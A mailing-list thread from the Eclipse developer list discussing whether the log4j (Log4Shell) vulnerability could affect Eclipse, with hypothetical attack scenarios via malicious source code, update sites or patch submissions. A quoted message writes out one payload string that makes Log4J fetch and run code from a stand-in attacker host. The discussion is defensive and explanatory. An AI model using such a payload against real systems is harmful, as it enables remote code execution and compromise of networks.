[
Date Prev][
Date Next][
Thread Prev][Thread Next][
Date Index][
Thread Index]
[
List Home]
Re: [cross-project-issues-dev] log4j vulnerability in Eclipse?
|
I think your first scenario is the
likely vector - perhaps an attacker could submit a code patch to
your project, which would certainly generate a logged error with
an attacking string, which could be built automatically (ie, no
human review first) by a possibly vulnerable CI system _and_ by
a human review, using Eclipse to build the code patch with
carefully obfuscated log string which attacks $FORTUNE_50
internal network from your IDE.
Since it's a remote code execution
vulnerability, bonus points if the attacker can install a bot on
your laptop that allows them to command it, thus compromising
all the "internal" networks you are connected to.
Furthermore, many desktop apps create
listener sockets for the application to connect to itself. If
the developer has bound the listener socket to localhost, great.
If not, your laptop could very well be a web server if you don't
have a local firewall. Then again, binding the socket to
localhost is not a safe haven if localhost is being controlled
by a third party...
On 2021-12-11 05:26, Jens Lideström
wrote:
I want to
contribute to this discussion my understand on how an attack on an
Eclipse based application could be performed in practice. My
understanding is mostly based on [1], [2] and [3].
(My understanding is only based on a causal reading on the
published material, and I am by no beans a an expert in computer
security, so please don't place to much trust in this analysis!)
The Eclipse platform itself doesn't seem to be vulnerable (judging
from earlier messages in this thread) so this might be mostly
theoretical, but might be interesting nevertheless. There might be
third party Eclipse applications that are affected.
My understanding is that this vulnerability affects code that uses
user submitted data in log messages. When messages of the
following form is logged it can make Log4J download and execute
arbitrary code: "${jndi:ldap://attacker.com/a}". Let's call such
log messages "bad log strings".
This is more of a problem for web server applications than for
desktop applications like Eclipse. Web server applications might
be attacked if they log uses names or user agent strings.
Attackers can actively seek out and target vulnerable
applications.
Desktop application that act as web clients can also be attacked,
but they probably pose harder targets. Attackers have to somehow
trick users to connect to malicious services and download
malicious data.
The following are two situation that I came up with which could
potentially trigger the vulnerability in the Eclipse IDE (if it
were vulnerable, which is probably not the case):
* The users downloads malicious source code and compiles it using
Eclipse. During compilation Eclipse might log some data about the
source code which contain a bad log string.
* The user connects to a malicious software update site. Some data
about the site, for example its name, contains a bad log string.
Eclipse logs this data and triggers the vulnerability.
Again I want to stress the fact that it doesn't seem like the
Eclipse platform itself is vulnerable or distributes any version
of Log4J which are vulnerable.
BR,
Jens Lideström
[1]:
https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit
[2]: https://www.lunasec.io/docs/blog/log4j-zero-day/
[3]: https://github.com/christophetd/log4shell-vulnerable-app
_______________________________________________